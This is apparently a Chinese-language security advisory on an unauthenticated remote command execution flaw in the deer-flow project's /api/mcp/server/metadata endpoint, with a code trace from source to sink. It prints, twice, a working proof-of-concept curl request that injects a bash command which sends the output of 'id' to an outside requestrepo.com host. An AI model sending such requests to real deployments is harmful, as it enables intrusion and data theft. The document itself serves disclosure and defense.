报告分析信息,截止 2025年10月28日, 17.8k star

项目地址: https://github.com/bytedance/deer-flow

分析分支: main 分支

提交哈希: 0415f622da4ab010c140d6a9630b5df5d5fa8b7e

提交标题fix: presever the local setting between frontend and backend (#670)

免责声明:

  1. 本文基于公开的开源项目代码进行安全分析,仅用于安全研究、教学与防御目的,不构成对任何系统的攻击建议或利用指南。

  2. 文中涉及的 PoC、EXP 及相关技术细节,仅允许在 合法授权 的前提下用于测试与学习。禁止将本文内容用于未授权的渗透测试、入侵行为或其他任何违法用途,否则由此产生的一切法律责任与风险均由使用者本人承担,与作者无关。

  3. 本文所提及的漏洞信息与分析结论,仅针对文中注明的代码版本/提交哈希,后续版本可能已修复或发生变更,请以项目官方代码为准。

  4. 本文观点仅代表作者个人,与字节及 Deer-Flow 项目官方无关。如相关方认为本文内容不适合公开,或存在表述不当之处,可联系作者进行修改或下线处理。

  5. 漏洞已经提交字节 SRC 官方,并已经处理结束。(漏洞被忽略)

项目介绍

漏洞简介

Deer-Flow 项目在处理 MCP 服务连接时存在严重逻辑漏洞,导致未授权远程命令执行 (RCE)

虽然 MCP 功能默认关闭,但作为该框架的核心卖点,大量用户在生产环境中均会开启 ENABLE_MCP_SERVER_CONFIGURATION=true于网络空间中探测验证)。在开启该功能后,后端 /api/mcp/server/metadata 接口未对用户传入的连接参数进行任何身份验证或白名单过滤。

攻击者可构造恶意 HTTP 请求,指定 transport 类型为 stdio,并通过 commandargs 参数传入恶意 Shell 命令。由于系统在建立 MCP 连接的初始化阶段(_get_tools_from_client_session)直接调用底层进程启动逻辑,无需验证目标 MCP Server 是否合法,甚至无需等待连接建立成功,攻击者注入的指令即可在宿主机上执行。

虽然开发者存在提醒: 部署在生产环境时需要评估 MCPServer 和 Python Repl 的安全检查,但是此漏洞危害产生不在接入的 MCP Server 的安全性问题,而是由此项目本身的 MCP 支持功能组件触发,不需要合法的 MCP 服务器。 漏洞触发位置为 MCP Client

漏洞演示

项目部署&环境准备

根据 https://github.com/bytedance/deer-flow/blob/main/README_zh.md 文档流程部署即可。

需要注意的是,漏洞复现需要更改一个设置,此设置未开启则不受漏洞影响。

# 在 .env 文件中,默认为 false , 此设置即启用 MCP 功能。
ENABLE_MCP_SERVER_CONFIGURATION=true

MCP 功能为项目卖点之一,大多数用户均会启用,在网络空间中实际测试也确实如此(只做验证,并未恶意利用)

部署成功后访问效果如图:

POC

# 修改 host:port 以及 dnslog 地址即可
​
curl -i -s -X POST 'http://<host>:<port>/api/mcp/server/metadata' \
  -H 'Content-Type: application/json' \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-lc", "curl -X POST --data `id` http://totwzli8.requestrepo.com"],
    "env": {}
  }'
​

代码分析

sink

src/server/mcp_utils.py:89,以返回的上下文管理器 stdio_client(...) 调用 _get_tools_from_client_session

其中 server_params 为外部可控参数。

_get_tools_from_client_session 中进入 async with stdio_client(...):33–46 会促使 MCP 客户端以子进程方式启动所提供的命令(基于 stdio 的 MCP 服务器,会根据 server_params 启动 MCP 服务端进程(本地可执行文件/脚本))。

随后调用 ClientSession(...).initialize()list_tools() 获取工具;但无论协议是否成功,进程已被创建。即 POC 验证时,服务端响应 500 等状态码均在预期之内。

source

由上 sink 点可知,对于 Linux 环境,我们只需要将传入 command 设置为 bashshellMCP 客户端据此启用进程即可达到 RCE 效果。下面我们将分析如果到达此 sink 点。

我们进行引用搜索 load_mcp_tools 函数用法,可得到入口在 src/server/app.py:831

请求路由为: /api/mcp/server/metadata

并且我们关注到,传入 load_mcp_tools 函数的参数,均为从 request: MCPServerMetadataRequest 处获取的字段值,即攻击者参数内容可控。同时存在环境变量检测,只有当前文所说 ENABLE_MCP_SERVER_CONFIGURATION=true (启用 MCP 支持功能时)才可进入此链路。

继续跟进 MCPServerMetadataRequest 可见期望的请求结构如下。

可据此构建 POC 请求体

{
    "transport": "stdio",
    "command": "bash",
    "args": ["-lc", "curl -X POST --data `id` http://totwzli8.requestrepo.com"],
    "env": {}
 }

补充信息

对于 在实际部署的 WebUI 中寻找 后端服务地址,可使用下面的示例方法(不唯一)

此处请求网址即 后端服务地址。


国家一级保护废物